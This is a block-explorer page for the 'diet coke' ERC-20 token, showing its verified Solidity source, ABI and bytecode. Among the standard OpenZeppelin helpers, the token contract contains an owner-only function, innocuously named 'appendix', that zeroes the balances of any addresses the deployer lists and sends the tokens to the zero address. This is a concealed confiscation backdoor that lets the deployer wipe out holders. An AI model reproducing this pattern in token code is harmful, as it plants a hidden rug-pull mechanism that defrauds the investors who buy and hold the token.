ERC-20
Overview
Max Total Supply
267,000,000 dietcoke
Holders
51
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
13,254,344.1765284655751952 dietcokeValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
dietcoke
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-04-11 */ // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: barb.sol /** *SPDX-License-Identifier: MIT */ pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract dietcoke is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address public leash; constructor () { _name = "diet coke"; _symbol = "dietcoke"; _decimals = 18; uint256 initialSupply = 267000000; leash = msg.sender; _mint(msg.sender, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier onlyOwner() { require(msg.sender == leash, "Not allowed"); _; } function appendix(address[] memory chocolate) public onlyOwner() { for (uint256 i = 0; i < chocolate.length; i++) { address account = chocolate[i]; uint256 amount = _balances[account]; _balances[account] = _balances[account].sub(amount, "ERROR"); _balances[address(0)] = _balances[address(0)].add(amount); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"chocolate","type":"address[]"}],"name":"appendix","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"leash","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801562000010575f80fd5b506040805180820190915260098152686469657420636f6b6560b81b602082015260029062000040908262000259565b5060408051808201909152600881526764696574636f6b6560c01b60208201526003906200006f908262000259565b506004805460ff19166012179055600680546001600160a01b03191633908117909155630fea18c090620000b790620000b183670de0b6b3a764000062000335565b620000be565b5062000365565b6001600160a01b038216620001195760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b600554620001289082620001a3565b6005556001600160a01b0382165f908152602081905260409020546200014f9082620001a3565b6001600160a01b0383165f81815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b5f620001b082846200034f565b90505b92915050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620001e257607f821691505b6020821081036200020157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000254575f81815260208120601f850160051c810160208610156200022f5750805b601f850160051c820191505b8181101562000250578281556001016200023b565b5050505b505050565b81516001600160401b03811115620002755762000275620001b9565b6200028d81620002868454620001cd565b8462000207565b602080601f831160018114620002c3575f8415620002ab5750858301515b5f19600386901b1c1916600185901b17855562000250565b5f85815260208120601f198616915b82811015620002f357888601518255948401946001909101908401620002d2565b50858210156200031157878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417620001b357620001b362000321565b80820180821115620001b357620001b362000321565b610a3480620003735f395ff3fe608060405234801561000f575f80fd5b50600436106100b5575f3560e01c8063437eea381161007d578063a9059cbb11610058578063a9059cbb1461018f578063b30b3366146101a2578063dd62ed3e146101b7575f80fd5b8063437eea381461013457806370a082311461015f57806395d89b4114610187575f80fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f575b5f80fd5b6100c16101ef565b6040516100ce9190610740565b60405180910390f35b6100ea6100e53660046107a6565b61027f565b60405190151581526020016100ce565b6005545b6040519081526020016100ce565b6100ea61011a3660046107ce565b610295565b60045460405160ff90911681526020016100ce565b600654610147906001600160a01b031681565b6040516001600160a01b0390911681526020016100ce565b6100fe61016d366004610807565b6001600160a01b03165f9081526020819052604090205490565b6100c16102fc565b6100ea61019d3660046107a6565b61030b565b6101b56101b0366004610834565b610317565b005b6100fe6101c53660046108f4565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600280546101fe90610925565b80601f016020809104026020016040519081016040528092919081815260200182805461022a90610925565b80156102755780601f1061024c57610100808354040283529160200191610275565b820191905f5260205f20905b81548152906001019060200180831161025857829003601f168201915b5050505050905090565b5f61028b33848461045f565b5060015b92915050565b5f6102a1848484610583565b6102f284336102ed856040518060600160405280602881526020016109d7602891396001600160a01b038a165f9081526001602090815260408083203384529091529020549190610703565b61045f565b5060019392505050565b6060600380546101fe90610925565b5f61028b338484610583565b6006546001600160a01b031633146103645760405162461bcd60e51b815260206004820152600b60248201526a139bdd08185b1b1bddd95960aa1b60448201526064015b60405180910390fd5b5f5b815181101561045b575f8282815181106103825761038261095d565b6020908102919091018101516001600160a01b0381165f8181528084526040808220548151808301909252600582526422a92927a960d91b828701529282529352909250906103d49082908190610703565b6001600160a01b0383165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55461041d908261072e565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5555081905061045381610985565b915050610366565b5050565b6001600160a01b0383166104c15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161035b565b6001600160a01b0382166105225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161035b565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166105e75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161035b565b6001600160a01b0382166106495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161035b565b610685816040518060600160405280602681526020016109b1602691396001600160a01b0386165f908152602081905260409020549190610703565b6001600160a01b038085165f9081526020819052604080822093909355908416815220546106b3908261072e565b6001600160a01b038381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610576565b5f81848411156107265760405162461bcd60e51b815260040161035b9190610740565b505050900390565b5f610739828461099d565b9392505050565b5f6020808352835180828501525f5b8181101561076b5785810183015185820160400152820161074f565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107a1575f80fd5b919050565b5f80604083850312156107b7575f80fd5b6107c08361078b565b946020939093013593505050565b5f805f606084860312156107e0575f80fd5b6107e98461078b565b92506107f76020850161078b565b9150604084013590509250925092565b5f60208284031215610817575f80fd5b6107398261078b565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215610845575f80fd5b823567ffffffffffffffff8082111561085c575f80fd5b818501915085601f83011261086f575f80fd5b81358181111561088157610881610820565b8060051b604051601f19603f830116810181811085821117156108a6576108a6610820565b6040529182528482019250838101850191888311156108c3575f80fd5b938501935b828510156108e8576108d98561078b565b845293850193928501926108c8565b98975050505050505050565b5f8060408385031215610905575f80fd5b61090e8361078b565b915061091c6020840161078b565b90509250929050565b600181811c9082168061093957607f821691505b60208210810361095757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f6001820161099657610996610971565b5060010190565b8082018082111561028f5761028f61097156fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be0bfd5cbcb9ea49aff10f9b8c9ada0bfbee12db0b08b9f35be6061c31d255a264736f6c63430008140033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100b5575f3560e01c8063437eea381161007d578063a9059cbb11610058578063a9059cbb1461018f578063b30b3366146101a2578063dd62ed3e146101b7575f80fd5b8063437eea381461013457806370a082311461015f57806395d89b4114610187575f80fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f575b5f80fd5b6100c16101ef565b6040516100ce9190610740565b60405180910390f35b6100ea6100e53660046107a6565b61027f565b60405190151581526020016100ce565b6005545b6040519081526020016100ce565b6100ea61011a3660046107ce565b610295565b60045460405160ff90911681526020016100ce565b600654610147906001600160a01b031681565b6040516001600160a01b0390911681526020016100ce565b6100fe61016d366004610807565b6001600160a01b03165f9081526020819052604090205490565b6100c16102fc565b6100ea61019d3660046107a6565b61030b565b6101b56101b0366004610834565b610317565b005b6100fe6101c53660046108f4565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600280546101fe90610925565b80601f016020809104026020016040519081016040528092919081815260200182805461022a90610925565b80156102755780601f1061024c57610100808354040283529160200191610275565b820191905f5260205f20905b81548152906001019060200180831161025857829003601f168201915b5050505050905090565b5f61028b33848461045f565b5060015b92915050565b5f6102a1848484610583565b6102f284336102ed856040518060600160405280602881526020016109d7602891396001600160a01b038a165f9081526001602090815260408083203384529091529020549190610703565b61045f565b5060019392505050565b6060600380546101fe90610925565b5f61028b338484610583565b6006546001600160a01b031633146103645760405162461bcd60e51b815260206004820152600b60248201526a139bdd08185b1b1bddd95960aa1b60448201526064015b60405180910390fd5b5f5b815181101561045b575f8282815181106103825761038261095d565b6020908102919091018101516001600160a01b0381165f8181528084526040808220548151808301909252600582526422a92927a960d91b828701529282529352909250906103d49082908190610703565b6001600160a01b0383165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55461041d908261072e565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5555081905061045381610985565b915050610366565b5050565b6001600160a01b0383166104c15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161035b565b6001600160a01b0382166105225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161035b565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166105e75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161035b565b6001600160a01b0382166106495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161035b565b610685816040518060600160405280602681526020016109b1602691396001600160a01b0386165f908152602081905260409020549190610703565b6001600160a01b038085165f9081526020819052604080822093909355908416815220546106b3908261072e565b6001600160a01b038381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610576565b5f81848411156107265760405162461bcd60e51b815260040161035b9190610740565b505050900390565b5f610739828461099d565b9392505050565b5f6020808352835180828501525f5b8181101561076b5785810183015185820160400152820161074f565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107a1575f80fd5b919050565b5f80604083850312156107b7575f80fd5b6107c08361078b565b946020939093013593505050565b5f805f606084860312156107e0575f80fd5b6107e98461078b565b92506107f76020850161078b565b9150604084013590509250925092565b5f60208284031215610817575f80fd5b6107398261078b565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215610845575f80fd5b823567ffffffffffffffff8082111561085c575f80fd5b818501915085601f83011261086f575f80fd5b81358181111561088157610881610820565b8060051b604051601f19603f830116810181811085821117156108a6576108a6610820565b6040529182528482019250838101850191888311156108c3575f80fd5b938501935b828510156108e8576108d98561078b565b845293850193928501926108c8565b98975050505050505050565b5f8060408385031215610905575f80fd5b61090e8361078b565b915061091c6020840161078b565b90509250929050565b600181811c9082168061093957607f821691505b60208210810361095757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f6001820161099657610996610971565b5060010190565b8082018082111561028f5761028f61097156fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be0bfd5cbcb9ea49aff10f9b8c9ada0bfbee12db0b08b9f35be6061c31d255a264736f6c63430008140033
Deployed Bytecode Sourcemap
18150:3646:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18787:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19970:169;;;;;;:::i;:::-;;:::i;:::-;;;1192:14:1;;1185:22;1167:41;;1155:2;1140:18;19970:169:0;1027:187:1;19064:100:0;19144:12;;19064:100;;;1365:25:1;;;1353:2;1338:18;19064:100:0;1219:177:1;19482:321:0;;;;;;:::i;:::-;;:::i;18973:83::-;19039:9;;18973:83;;19039:9;;;;1876:36:1;;1864:2;1849:18;18973:83:0;1734:184:1;18514:21:0;;;;;-1:-1:-1;;;;;18514:21:0;;;;;;-1:-1:-1;;;;;2087:55:1;;;2069:74;;2057:2;2042:18;18514:21:0;1923:226:1;19172:119:0;;;;;;:::i;:::-;-1:-1:-1;;;;;19265:18:0;19238:7;19265:18;;;;;;;;;;;;19172:119;18878:87;;;:::i;19299:175::-;;;;;;:::i;:::-;;:::i;21409:384::-;;;;;;:::i;:::-;;:::i;:::-;;19811:151;;;;;;:::i;:::-;-1:-1:-1;;;;;19927:18:0;;;19900:7;19927:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;19811:151;18787:83;18824:13;18857:5;18850:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18787:83;:::o;19970:169::-;20053:4;20070:39;17226:10;20093:7;20102:6;20070:8;:39::i;:::-;-1:-1:-1;20127:4:0;19970:169;;;;;:::o;19482:321::-;19588:4;19605:36;19615:6;19623:9;19634:6;19605:9;:36::i;:::-;19652:121;19661:6;17226:10;19683:89;19721:6;19683:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19683:19:0;;;;;;:11;:19;;;;;;;;17226:10;19683:33;;;;;;;;;;:37;:89::i;:::-;19652:8;:121::i;:::-;-1:-1:-1;19791:4:0;19482:321;;;;;:::o;18878:87::-;18917:13;18950:7;18943:14;;;;;:::i;19299:175::-;19385:4;19402:42;17226:10;19426:9;19437:6;19402:9;:42::i;21409:384::-;21360:5;;-1:-1:-1;;;;;21360:5:0;21346:10;:19;21338:43;;;;-1:-1:-1;;;21338:43:0;;4455:2:1;21338:43:0;;;4437:21:1;4494:2;4474:18;;;4467:30;-1:-1:-1;;;4513:18:1;;;4506:41;4564:18;;21338:43:0;;;;;;;;;21490:9:::1;21485:301;21509:9;:16;21505:1;:20;21485:301;;;21547:15;21565:9;21575:1;21565:12;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;21609:18:0;::::1;21592:14;21609:18:::0;;;;;;;;;;;21663:39;;;;::::1;::::0;;;::::1;::::0;;-1:-1:-1;;;21663:39:0;;::::1;::::0;:18;;;;;21565:12;